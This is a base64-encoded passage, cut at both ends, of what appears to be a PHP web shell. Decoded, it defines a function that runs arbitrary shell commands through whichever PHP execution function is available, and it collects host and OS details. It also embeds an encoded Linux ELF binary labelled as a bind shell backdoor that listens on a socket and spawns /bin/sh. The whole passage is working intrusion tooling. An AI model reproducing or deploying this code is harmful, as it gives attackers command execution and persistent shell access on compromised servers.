ICAgcGNsb3NlKCRmcCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCiAgfQ0KfQ0KZnVuY3Rpb24gZXgoJGNmZSkgew0KICAkcmVzID0gJyc7DQogIGlmICghZW1wdHkoJGNmZSkpIHsNCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSkgew0KICAgICAgQGV4ZWMoJGNmZSwkcmVzKTsNCiAgICAgICRyZXMgPSBqb2luKCJcbiIsJHJlcyk7DQogICAgfSBlbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdzaGVsbF9leGVjJykpIHsNCiAgICAgICRyZXMgPSBAc2hlbGxfZXhlYygkY2ZlKTsNCiAgICB9IGVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ3N5c3RlbScpKSB7DQogICAgICBAb2Jfc3RhcnQoKTsNCiAgICAgIEBzeXN0ZW0oJGNmZSk7DQogICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgIH0gZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygncGFzc3RocnUnKSkgew0KICAgICAgQG9iX3N0YXJ0KCk7DQogICAgICBAcGFzc3RocnUoJGNmZSk7DQogICAgICAkcmVzID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgIH0gZWxzZWlmKEBpc19yZXNvdXJjZSgkZiA9IEBwb3BlbigkY2ZlLCJyIikpKSB7DQogICAgICAkcmVzID0gIiI7DQogICAgICB3aGlsZSghQGZlb2YoJGYpKSB7ICRyZXMgLj0gQGZyZWFkKCRmLDEwMjQpOyB9DQogICAgICBAcGNsb3NlKCRmKTsNCiAgICB9IGVsc2UgeyAkcmVzID0gIkV4KCkgRGlzYWJsZWQhIjsgfQ0KICB9DQogIHJldHVybiAkcmVzOw0KfQ0KZnVuY3Rpb24gd2hpY2goJHByKSB7DQogICRwYXRoID0gZXgoIndoaWNoICRwciIpOw0KICBpZighZW1wdHkoJHBhdGgpKSB7IHJldHVybiAkcGF0aDsgfSBlbHNlIHsgcmV0dXJuICRwcjsgfQ0KfQ0KDQokaG9zdG5hbWVfeCA9IHBocF91bmFtZShuKTsNCiRpdHNob21lID0gZ2V0Y3dkKCk7DQppZiAoISR3aW4pIHsNCiAgJGl0c2hvbWUgPSBzdHJfcmVwbGFjZSgiL2hvbWUvIiwifiIsJGl0c2hvbWUpOw0KICAkaXRzaG9tZSA9IHN0cl9yZXBsYWNlKCIvcHVibGljX2h0bWwiLCIvY2EucGhwIiwkaXRzaG9tZSk7DQp9DQplbHNlIHsgJGl0c2hvbWUgPSAiIjsgfQ0KJGVudW1lcmF0ZSA9ICJodHRwOi8vIi4kaG9zdG5hbWVfeC4iLyIuJGl0c2hvbWUuIiI7DQoNCg0KJEx2ZXJzaW9uID0gcGhwX3VuYW1lKHIpOw0KJE9TViA9IHBocF91bmFtZShzKTsNCg0KDQokYmFja2Rvb3IgPSJmMFZNUmdFQkFRQUFBQUFBQUFBQUFBSUFBd0FCQUFBQW9JVUVDRFFBQUFENEVnQUFBQUFBQURRQUlBQUhBQ2dBSWdBZkFBWUFBQUEwQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQUFBQUJBQUFBQUFBQUFBQ0FCQWdBZ0FRSXJBa0FBS3dKQUFBRkFBQUFBQkFBQUFFQUFBQ3NDUUFBckprRUNLeVpCQWcwQVFBQU9BRUFBQVlBQUFBQUVBQUFBZ0FBQU1BSkFBREFtUVFJd0prRUNNZ0FBQURJQUFBQUJnQUFBQVFBQUFBRUFBQUFLQUVBQUNpQkJBZ29nUVFJSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxc2FXNTFlQzV6Ynk0eUFBQUVBQUFBRUFBQUFBRUFBQUJIVGxVQUFBQUFBQUlBQUFBQ0FBQUFBQUFBQUJFQUFBQVRBQUFBQUFBQUFBQUFBQUFRQUFBQUVRQUFBQUFBQUFBQUFBQUFDUUFBQUFnQUFBQUZBQUFBQXdBQUFBMEFBQUFBQUFBQUFBQUFBQThBQUFBS0FBQUFFZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFZQUFBQUJBQUFBQUFBQUFBY0FBQUFMQUFBQUFBQUFBQVFBQUFBTUFBQUFEZ0FBQUFJQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQzRBQUFBQUFBQUFkUUVBQUJJQUFBQ2dBQUFBQUFBQUFIRUFBQUFTQUFBQU5BQUFBQUFBQUFETUFBQUFFZ0FBQUdvQUFBQUFBQUFBV2dBQUFCSUFBQUJNQUFBQUFBQUFBSGdBQUFBU0FBQUFZd0FBQUFBQUFBQTVBQUFBRWdBQUFGZ0FBQUFBQUFBQU9RQUFBQklBQUFDT0FBQUFBQUFBQU9ZQUFBQVNBQUFBT3dBQUFBQUFBQUE2QUFBQUVnQUFBRk1BQUFBQUFBQUFPUUFBQUJJQUFBQjFBQUFBQUFBQUFMa0FBQUFTQUFBQWVnQUFBQUFBQUFBckFBQUFFZ0FBQUVjQUFBQUFBQUFBZUFBQUFCSUFBQUJ2QUFBQUFBQUFBQTRBQUFBU0FBQUFmd0FBQUVpSkJBZ0VBQUFBRVFBT0FFQUFBQUFBQUFBQU9RQUFBQklBQUFBQkFBQUFBQUFBQUFBQUFBQWdBQUFBRlFBQUFBQUFBQUFBQUFBQUlBQUFBQUJmU25aZlVtVm5hWE4wWlhKRGJHRnpjMlZ6QUY5ZloyMXZibDl6ZEdGeWRGOWZBR3hwWW1NdWMyOHVOZ0JsZUdWamJBQndaWEp5YjNJQVpIVndNZ0J6YjJOclpYUUFjMlZ1WkFCaFkyTmxjSFFBWW1sdVpBQnpaWFJ6YjJOcmIzQjBBR3hwYzNSbGJnQm1iM0pyQUdoMGIyNXpBR1Y0YVhRQVlYUnZhUUJmU1U5ZmMzUmthVzVmZFhObFpBQmZYMnhwWW1OZmMzUmhjblJmYldGcGJnQmpiRzl6WlFCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBUUFDQUFBQUFBQUFBQUVBQVFBa0FBQUFFQUFBQUFBQUFBQVFhV2tOQUFBQ0FLWUFBQUFBQUFBQWlKb0VDQVlTQUFDWW1nUUlCd0VBQUp5YUJBZ0hBZ0FBb0pvRUNBY0RBQUNrbWdRSUJ3UUFBS2lhQkFnSEJRQUFySm9FQ0FjR0FBQ3dtZ1FJQndjQUFMU2FCQWdIQ0FBQXVKb0VDQWNKQUFDOG1nUUlCd29BQU1DYUJBZ0hDd0FBeEpvRUNBY01BQURJbWdRSUJ3MEFBTXlhQkFnSERnQUEwSm9FQ0FjUUFBQlZpZVdEN0Fqb01RRUFBT2lEQVFBQTZGc0VBQURKd3dEL05aQ2FCQWovSlpTYUJBZ0FBQUFBL3lXWW1nUUlhQUFBQUFEcDRQLy8vLzhsbkpvRUNHZ0lBQUFBNmRELy8vLy9KYUNhQkFob0VBQUFBT25BLy8vLy95V2ttZ1FJYUJnQUFBRHBzUC8vLy84bHFKb0VDR2dnQUFBQTZhRC8vLy8vSmF5YUJBaG9LQUFBQU9tUS8vLy8veVd3bWdRSWFEQUFBQURwZ1AvLy8vOGx0Sm9FQ0dnNEFBQUE2WEQvLy8vL0piaWFCQWhvUUFBQUFPbGcvLy8vL3lXOG1nUUlhRWdBQUFEcFVQLy8vLzhsd0pvRUNHaFFBQUFBNlVELy8vLy9KY1NhQkFob1dBQUFBT2t3Ly8vLy95WEltZ1FJYUdBQUFBRHBJUC8vLy84bHpKb0VDR2hvQUFBQTZSRC8vLy8vSmRDYUJBaG9jQUFBQU9rQS8vLy9NZTFlaWVHRDVQQlFWRkpvcllnRUNHaGNpQVFJVVZab1FJWUVDT2hmLy8vLzlKQ1FWWW5sVStnYkFBQUFnY08vRkFBQWcrd0VpNFA4Ly8vL2hjQjBBdi9RZzhRRVcxM0RpeHdrdzFXSjVZUHNDSUE5NEpvRUNBQjBET3NjZzhBRW85eWFCQWovMHFIY21nUUlpeENGMG5YcnhnWGdtZ1FJQWNuRFZZbmxnK3dJb2J5WkJBaUZ3SFFTdUFBQUFBQ0Z3SFFKeHdRa3ZKa0VDUC9ReWNPUWtGV0o1VmVEN0dTRDVQQzRBQUFBQUlQQUQ0UEFEOEhvQk1IZ0JDbkV4MFhrQVFBQUFNZEYrRXlKQkFqSFJDUUlBQUFBQU1kRUpBUUJBQUFBeHdRa0FnQUFBT2dKLy8vL2lVWHdnMzN3QUhrWXh3UWtqSWtFQ09nMC92Ly94d1FrQVFBQUFPaW8vdi8vWnNkRjFBSUF4MFhZQUFBQUFJdEZESVBBQklzQWlRUWs2SnYrLy84UHQ4Q0pCQ1Rvc1A3Ly8yYUpSZGJIUkNRUUJBQUFBSTFGNUlsRUpBekhSQ1FJQWdBQUFNZEVKQVFCQUFBQWkwWHdpUVFrNkJMKy8vK05SZFRIUkNRSUVBQUFBSWxFSkFTTFJmQ0pCQ1RvS1A3Ly80WEFlUmpIQkNTVGlRUUk2S2o5Ly8vSEJDUUJBQUFBNkJ6Ky8vL0hSQ1FFQ0FBQUFJdEY4SWtFSk9pNS9mLy9oY0I1R01jRUpKaUpCQWpvZWYzLy84Y0VKQUVBQUFEbzdmMy8vOGRGNkJBQUFBQ05SZWlOVmNTSlJDUUlpVlFrQkl0RjhJa0VKT2h0L2YvL2lVWDBnMzMwQUhrTXh3UWtqSWtFQ09nNC9mLy82RVA5Ly8rRndBK0Vwd0FBQUl0RitMbi8vLy8vaVVXNHVBQUFBQUQ4aTMyNDhxNkp5UGZRZytnQngwUWtEQUFBQUFDSlJDUUlpMFg0aVVRa0JJdEY5SWtFSk9pUS9mLy94MFFrQkFBQUFBQ0xSZlNKQkNUb1BmMy8vOGRFSkFRQkFBQUFpMFgwaVFRazZDcjkvLy9IUkNRRUFnQUFBSXRGOUlrRUpPZ1gvZi8veDBRa0NBQUFBQURIUkNRRW40a0VDTWNFSkorSkJBam9lL3ovLzR0RjhJa0VKT2lBL1AvL3h3UWtBQUFBQU9nRS9mLy9pMFgwaVFRazZHbjgvLy9wRHYvLy8xV0o1VmRXTWZaVDZILzkvLytCd3lNU0FBQ0Q3QXpvRWZ6Ly80MkRJUC8vLzQyVElQLy8vNGxGOENuUXdmZ0NPY1p6Rm9uWC94U3lpMFh3ZzhZQktmaUorc0g0QWpuR2N1eUR4QXhiWGw5ZHcxV0o1WVBzR0lsZDlPZ3QvZi8vZ2NQUkVRQUFpWFg0aVgzOGpiTWcvLy8vamJzZy8vLy9LZjdCL2dMckEvOFV0NFB1QVlQKy8zWDE2RG9BQUFDTFhmU0xkZmlMZmZ5SjdGM0RrRldKNVZPRDdBU2hySmtFQ0lQNC8zUVN1NnlaQkFqLzBJdEQvSVByQklQNC8zWHpnOFFFVzEzRGtKQ1FWWW5sVStpNy9QLy9nY05mRVFBQWcrd0U2TEg4Ly8rRHhBUmJYY01BQUFBREFBQUFBUUFDQURvNklIYzBZMnN4Ym1jdGMyaGxiR3dnS0ZCeWFYWmhkR1VnUW5WcGJHUWdkakF1TXlrZ1ltbHVaQ0J6YUdWc2JDQmlZV05yWkc5dmNpQTZPaUFLQ2dCemIyTnJaWFFBWW1sdVpBQnNhWE4wWlc0QUwySnBiaTl6YUFBQUFBQUFBUC8vLy84QUFBQUEvLy8vL3dBQUFBQUFBQUFBQVFBQUFDUUFBQUFNQUFBQWlJUUVDQTBBQUFBa2lRUUlCQUFBQUVpQkJBZ0ZBQUFBRUlNRUNBWUFBQURnZ1FRSUNnQUFBTEFBQUFBTEFBQUFFQUFBQUJVQUFBQUFBQUFBQXdBQUFJeWFCQWdDQUFBQWVBQUFBQlFBQUFBUkFBQUFGd0FBQUJDRUJBZ1JBQUFBQ0lRRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXY2SU1FQ1AvLy8yOEJBQUFBOFAvL2I4Q0RCQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUF3SmtFQ0FBQUFBQUFBQUFBdG9RRUNNYUVCQWpXaEFRSTVvUUVDUGFFQkFnR2hRUUlGb1VFQ0NhRkJBZzJoUVFJUm9VRUNGYUZCQWhtaFFRSWRvVUVDSWFGQkFpV2hRUUlBQUFBQUFBQUFBQzRtUVFJQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ05DNHdMak1nS0ZWaWRXNTBkU0EwTGpBdU15MHhkV0oxYm5SMU5Ta0FBRWREUXpvZ0tFZE9WU2tnTXk0MExqWWdLRlZpZFc1MGRTQXpMalF1TmkweGRXSjFiblIxTWlrQUFFZERRem9nS0VkT1ZTa2dOQzR3TGpNZ0tGVmlkVzUwZFNBMExqQXVNeTB4ZFdKMWJuUjFOU2tBQUVkRFF6b2dLRWRPVlNrZ015NDBMallnS0ZWaWRXNTBkU0F6TGpRdU5pMHhkV0oxYm5SMU1pa0FBQUFjQUFBQUFnQUFBQUFBQkFBQUFBQUFvSVVFQ0NJQUFBQUFBQUFBQUFBQUFEUUFBQUFDQUFzQkFBQUVBQUFBQUFEb2hRUUlCQUFBQUNTSkJBZ1NBQUFBaUlRRUNBc0FBQURFaFFRSUpBQUFBQUFBQUFBQUFBQUFMQUFBQUFJQW13RUFBQVFBQUFBQUFPaUZCQWdFQUFBQU80a0VDQVlBQUFDZGhBUUlBZ0FBQUFBQUFBQUFBQUFBSVFBQUFBSUFlZ0FBQUpFQUFBQjVBQUFBWDBsUFgzTjBaR2x1WDNWelpXUUFBQUFBQUhZQUFBQUNBQUFBQUFBRUFRQUFBQUNnaFFRSXdvVUVDQzR1TDNONWMyUmxjSE12YVRNNE5pOWxiR1l2YzNSaGNuUXVVd0F2WW5WcGJHUXZZblZwYkdSa0wyZHNhV0pqTFRJdU15NDJMMkoxYVd4a0xYUnlaV1V2WjJ4cFltTXRNaTR6TGpZdlkzTjFBRWRPVlNCQlV5QXlMakUyTGpreEFBR0FqUUFBQUFJQUZBQUFBQVFCV3dBQUFNU0ZCQWpFaFFRSVlnQUFBQUVBQUFBQUVRQUFBQUtRQUFBQUJBY0NWQUFBQUFFSUFwMEFBQUFDQndLTEFBQUFCQWNDVmdBQUFBRUdBZ2NBQUFBQ0JRTnBiblFBQkFVQ1JnQUFBQWdGQW9ZQUFBQUlCd0pMQUFBQUJBVUNrQUFBQUFRSEFsMEFBQUFCQmdTd0FBQUFBUm1MQUFBQUFRVURTSWtFQ0FWUEFBQUFBSXdBQUFBQ0FGWUFBQUFFQVlJQUFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnBMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnSXdBQUFBQ0FHWUFBQUFFQVM4QkFBQXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFM5amNuUnVMbE1BTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJIVGxVZ1FWTWdNaTR4Tmk0NU1RQUJnQUVSQUJBR0VRRVNBUU1JR3dnbENCTUZBQUFBQVJFQkVBWVNBUkVCSlE0VEN3TU9HdzRBQUFJa0FBTU9Dd3MrQ3dBQUF5UUFBd2dMQ3o0TEFBQUVOQUFERGpvTE93dEpFejhNQWdvQUFBVW1BRWtUQUFBQUFSRUFFQVlEQ0JzSUpRZ1RCUUFBQUFFUkFCQUdBd2diQ0NVSUV3VUFBQUJYQUFBQUFnQXlBQUFBQVFIN0RnMEFBUUVCQVFBQUFBRUFBQUV1TGk5emVYTmtaWEJ6TDJrek9EWXZaV3htQUFCemRHRnlkQzVUQUFFQUFBQUFCUUtnaFFRSUE4QUFBVE1oTkQwbElnTVlJRmxhSVNKY1d3SUJBQUVCSXdBQUFBSUFIUUFBQUFFQit3NE5BQUVCQVFFQUFBQUJBQUFCQUdsdWFYUXVZd0FBQUFBQXFRQUFBQUlBVUFBQUFBRUIrdzROQUFFQkFRRUFBQUFCQUFBQkwySjFhV3hrTDJKMWFXeGtaQzluYkdsaVl5MHlMak11Tmk5aWRXbHNaQzEwY21WbEwya3pPRFl0YkdsaVl5OWpjM1VBQUdOeWRHa3VVd0FCQUFBQUFBVUM2SVVFQ0FQQUFBRTlBZ0VBQVFFQUJRSWtpUVFJQXk0QklTOGhXV2NDQXdBQkFRQUZBb2lFQkFnREh3RWhMejBDQlFBQkFRQUZBc1NGQkFnRENnRWhMeUZaWnoxbkx5OHdQU0VoQWdFQUFRR0lBQUFBQWdCUUFBQUFBUUg3RGcwQUFRRUJBUUFBQUFFQUFBRXZZblZwYkdRdlluVnBiR1JrTDJkc2FXSmpMVEl1TXk0MkwySjFhV3hrTFhSeVpXVXZhVE00Tmkxc2FXSmpMMk56ZFFBQVkzSjBiaTVUQUFFQUFBQUFCUUxvaFFRSUF5RUJQUUlCQUFFQkFBVUNPNGtFQ0FNU0FUMGhJUUlCQUFFQkFBVUNuWVFFQ0FNSkFTRUNBUUFCQVdsdWFYUXVZd0J6YUc5eWRDQnBiblFBTDJKMWFXeGtMMkoxYVd4a1pDOW5iR2xpWXkweUxqTXVOaTlpZFdsc1pDMTBjbVZsTDJkc2FXSmpMVEl1TXk0MkwyTnpkUUJzYjI1bklHeHZibWNnYVc1MEFIVnVjMmxuYm1Wa0lHTm9ZWElBUjA1VklFTWdNeTQwTGpZZ0tGVmlkVzUwZFNBekxqUXVOaTB4ZFdKMWJuUjFNaWtBYkc5dVp5QnNiMjVuSUhWdWMybG5ibVZrSUdsdWRBQnphRzl5ZENCMWJuTnBaMjVsWkNCcGJuUUFYMGxQWDNOMFpHbHVYM1Z6WldRQUFDNXplVzEwWVdJQUxuTjBjblJoWWdBdWMyaHpkSEowWVdJQUxtbHVkR1Z5Y0FBdWJtOTBaUzVCUWtrdGRHRm5BQzVvWVhOb0FDNWtlVzV6ZVcwQUxtUjVibk4wY2dBdVoyNTFMblpsY25OcGIyNEFMbWR1ZFM1MlpYSnphVzl1WDNJQUxuSmxiQzVrZVc0QUxuSmxiQzV3YkhRQUxtbHVhWFFBTG5SbGVIUUFMbVpwYm1rQUxuSnZaR0YwWVFBdVpXaGZabkpoYldVQUxtTjBiM0p6QUM1a2RHOXljd0F1YW1OeUFDNWtlVzVoYldsakFDNW5iM1FBTG1kdmRDNXdiSFFBTG1SaGRHRUFMbUp6Y3dBdVkyOXRiV1Z1ZEFBdVpHVmlkV2RmWVhKaGJtZGxjd0F1WkdWaWRXZGZjSFZpYm1GdFpYTUFMbVJsWW5WblgybHVabThBTG1SbFluVm5YMkZpWW5KbGRnQXVaR1ZpZFdkZmJHbHVaUUF1WkdWaWRXZGZjM1J5QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFHd0FBQUFFQUFBQUNBQUFBRklFRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQUlBQUFBQUFBQUFBQUFBQUFCQUFBQUFBQUFBQXhBQUFBQlFBQUFBSUFBQUJJZ1FRSVNBRUFBSmdBQUFBRUFBQUFBQUFBQUFRQUFBQUVBQUFBTndBQUFBc0FBQUFDQUFBQTRJRUVDT0FCQUFBd0FRQUFCUUFBQUFFQUFBQUVBQUFBRUFBQUFEOEFBQUFEQUFBQUFnQUFBQkNEQkFnUUF3QUFzQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUJIQUFBQS8vLy9id0lBQUFEQWd3UUl3QU1BQUNZQUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQVZBQUFBUDcvLzI4Q0FBQUE2SU1FQ09nREFBQWdBQUFBQlFBQUFBRUFBQUFFQUFBQUFBQUFBR01BQUFBSkFBQUFBZ0FBQUFpRUJBZ0lCQUFBQ0FBQUFBUUFBQUFBQUFBQUJBQUFBQWdBQUFCc0FBQUFDUUFBQUFJQUFBQVFoQVFJRUFRQUFIZ0FBQUFFQUFBQUN3QUFBQVFBQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBaUlRRUNJZ0VBQUFYQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQUFLQ0VCQWlnQkFBQUFBRUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQjdBQUFBQVFBQUFBWUFBQUNnaFFRSW9BVUFBSVFEQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBZ1FBQUFBRUFBQUFHQUFBQUpJa0VDQ1FKQUFBZEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFJY0FBQUFCQUFBQUFnQUFBRVNKQkFoRUNRQUFZd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUFBQUlBQUFDb2lRUUlxQWtBQUFRQUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQW1RQUFBQUVBQUFBREFBQUFySmtFQ0t3SkFBQUlBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBS0FBQUFBQkFBQUFBd0FBQUxTWkJBaTBDUUFBQ0FBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDbkFBQUFBUUFBQUFNQUFBQzhtUVFJdkFrQUFBUUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyQUFBQUFZQUFBQURBQUFBd0prRUNNQUpBQURJQUFBQUJRQUFBQUFBQUFBRUFBQUFDQUFBQUxVQUFBQUJBQUFBQXdBQUFJaWFCQWlJQ2dBQUJBQUFBQUFBQUFBQUFBQUFCQUFBQUFRQUFBQzZBQUFBQVFBQUFBTUFBQUNNbWdRSWpBb0FBRWdBQUFBQUFBQUFBQUFBQUFRQUFBQUVBQUFBd3dBQUFBRUFBQUFEQUFBQTFKb0VDTlFLQUFBTUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFNa0FBQUFJQUFBQUF3QUFBT0NhQkFqZ0NnQUFCQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQURPQUFBQUFRQUFBQUFBQUFBQUFBQUE0QW9BQUNZQkFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQTF3QUFBQUVBQUFBQUFBQUFBQUFBQUFnTUFBQ0lBQUFBQUFBQUFBQUFBQUFJQUFBQUFBQUFBT1lBQUFBQkFBQUFBQUFBQUFBQUFBQ1FEQUFBSlFBQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFEMkFBQUFBUUFBQUFBQUFBQUFBQUFBdFF3QUFDc0NBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQUFBZ0VBQUFFQUFBQUFBQUFBQUFBQUFPQU9BQUIyQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUJBQkFBQUJBQUFBQUFBQUFBQUFBQUJXRHdBQXV3RUFBQUFBQUFBQUFBQUFBUUFBQUFBQUFBQWNBUUFBQVFBQUFEQUFBQUFBQUFBQUVSRUFBTDhBQUFBQUFBQUFBQUFBQUFFQUFBQUJBQUFBRVFBQUFBTUFBQUFBQUFBQUFBQUFBTkFSQUFBbkFRQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBRUFBQUFDQUFBQUFBQUFBQUFBQUFCSUdBQUE4QVVBQUNFQUFBQS9BQUFBQkFBQUFCQUFBQUFKQUFBQUF3QUFBQUFBQUFBQUFBQUFPQjRBQUxJREFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQVVnUVFJQUFBQUFBTUFBUUFBQUFBQUtJRUVDQUFBQUFBREFBSUFBQUFBQUVpQkJBZ0FBQUFBQXdBREFBQUFBQURnZ1FRSUFBQUFBQU1BQkFBQUFBQUFFSU1FQ0FBQUFBQURBQVVBQUFBQUFNQ0RCQWdBQUFBQUF3QUdBQUFBQUFEb2d3UUlBQUFBQUFNQUJ3QUFBQUFBQ0lRRUNBQUFBQUFEQUFnQUFBQUFBQkNFQkFnQUFBQUFBd0FKQUFBQUFBQ0loQVFJQUFBQUFBTUFDZ0FBQUFBQW9JUUVDQUFBQUFBREFBc0FBQUFBQUtDRkJBZ0FBQUFBQXdBTUFBQUFBQUFraVFRSUFBQUFBQU1BRFFBQUFBQUFSSWtFQ0FBQUFBQURBQTRBQUFBQUFLaUpCQWdBQUFBQUF3QVBBQUFBQUFDc21RUUlBQUFBQUFNQUVBQUFBQUFBdEprRUNBQUFBQUFEQUJFQUFBQUFBTHlaQkFnQUFBQUFBd0FTQUFBQUFBREFtUVFJQUFBQUFBTUFFd0FBQUFBQWlKb0VDQUFBQUFBREFCUUFBQUFBQUl5YUJBZ0FBQUFBQXdBVkFBQUFBQURVbWdRSUFBQUFBQU1BRmdBQUFBQUE0Sm9FQ0FBQUFBQURBQmNBQUFBQUFBQUFBQUFBQUFBQUF3QVlBQUFBQUFBQUFBQUFBQUFBQUFNQUdRQUFBQUFBQUFBQUFBQUFBQUFEQUJvQUFBQUFBQUFBQUFBQUFBQUFBd0FiQUFBQUFBQUFBQUFBQUFBQUFBTUFIQUFBQUFBQUFBQUFBQUFBQUFBREFCMEFBQUFBQUFBQUFBQUFBQUFBQXdBZUFBQUFBQUFBQUFBQUFBQUFBQU1BSHdBQUFBQUFBQUFBQUFBQUFBQURBQ0FBQUFBQUFBQUFBQUFBQUFBQUF3QWhBQUVBQUFBQUFBQUFBQUFBQUFRQThmOE1BQUFBQUFBQUFBQUFBQUFFQVBIL0tBQUFBQUFBQUFBQUFBQUFCQUR4L3k4QUFBQUFBQUFBQUFBQUFBUUE4Zjg2QUFBQUFBQUFBQUFBQUFBRUFQSC9kQUFBQU1TRkJBZ0FBQUFBQWdBTUFJUUFBQUFBQUFBQUFBQUFBQVFBOGYrUEFBQUFySmtFQ0FBQUFBQUJBQkFBblFBQUFMU1pCQWdBQUFBQUFRQVJBS3NBQUFDOG1RUUlBQUFBQUFFQUVnQzRBQUFBNEpvRUNBRUFBQUFCQUJjQXh3QUFBTnlhQkFnQUFBQUFBUUFXQU00QUFBRHNoUVFJQUFBQUFBSUFEQURrQUFBQUc0WUVDQUFBQUFBQ0FBd0FoQUFBQUFBQUFBQUFBQUFBQkFEeC8vQUFBQUN3bVFRSUFBQUFBQUVBRUFEOUFBQUF1SmtFQ0FBQUFBQUJBQkVBQ2dFQUFLaUpCQWdBQUFBQUFRQVBBQmdCQUFDOG1RUUlBQUFBQUFFQUVnQWtBUUFBK0lnRUNBQUFBQUFDQUF3QUx3QUFBQUFBQUFBQUFBQUFCQUR4L3pvQkFBQUFBQUFBQUFBQUFBUUE4ZjkwQVFBQUFBQUFBQUFBQUFBRUFQSC9lQUVBQU1DWkJBZ0FBQUFBQVFJVEFJRUJBQUNzbVFRSUFBQUFBQUFDOGYrU0FRQUFySmtFQ0FBQUFBQUFBdkgvcFFFQUFLeVpCQWdBQUFBQUFBTHgvN1lCQUFDTW1nUUlBQUFBQUFFQ0ZRRE1BUUFBckprRUNBQUFBQUFBQXZILzN3RUFBQUFBQUFCMUFRQUFFZ0FBQVBBQkFBQUFBQUFBY1FBQUFCSUFBQUFCQWdBQVJJa0VDQVFBQUFBUkFBNEFDQUlBQUFBQUFBRE1BQUFBRWdBQUFCb0NBQUFBQUFBQVdnQUFBQklBQUFBcUFnQUEySm9FQ0FBQUFBQVJBaFlBTndJQUFLMklCQWhLQUFBQUVnQU1BRWNDQUFBQUFBQUFlQUFBQUJJQUFBQlpBZ0FBaUlRRUNBQUFBQUFTQUFvQVh3SUFBQUFBQUFBNUFBQUFFZ0FBQUhFQ0FBQUFBQUFBT1FBQUFCSUFBQUNIQWdBQW9JVUVDQUFBQUFBU0FBd0FqZ0lBQUZ5SUJBaFJBQUFBRWdBTUFKNENBQURnbWdRSUFBQUFBQkFBOGYrcUFnQUFRSVlFQ0J3Q0FBQVNBQXdBcndJQUFBQUFBQURtQUFBQUVnQUFBTXdDQUFBQUFBQUFPZ0FBQUJJQUFBRGNBZ0FBMUpvRUNBQUFBQUFnQUJZQTV3SUFBQUFBQUFBNUFBQUFFZ0FBQVBjQ0FBQWtpUVFJQUFBQUFCSUFEUUQ5QWdBQUFBQUFBTGtBQUFBU0FBQUFEUU1BQUFBQUFBQXJBQUFBRWdBQUFCMERBQU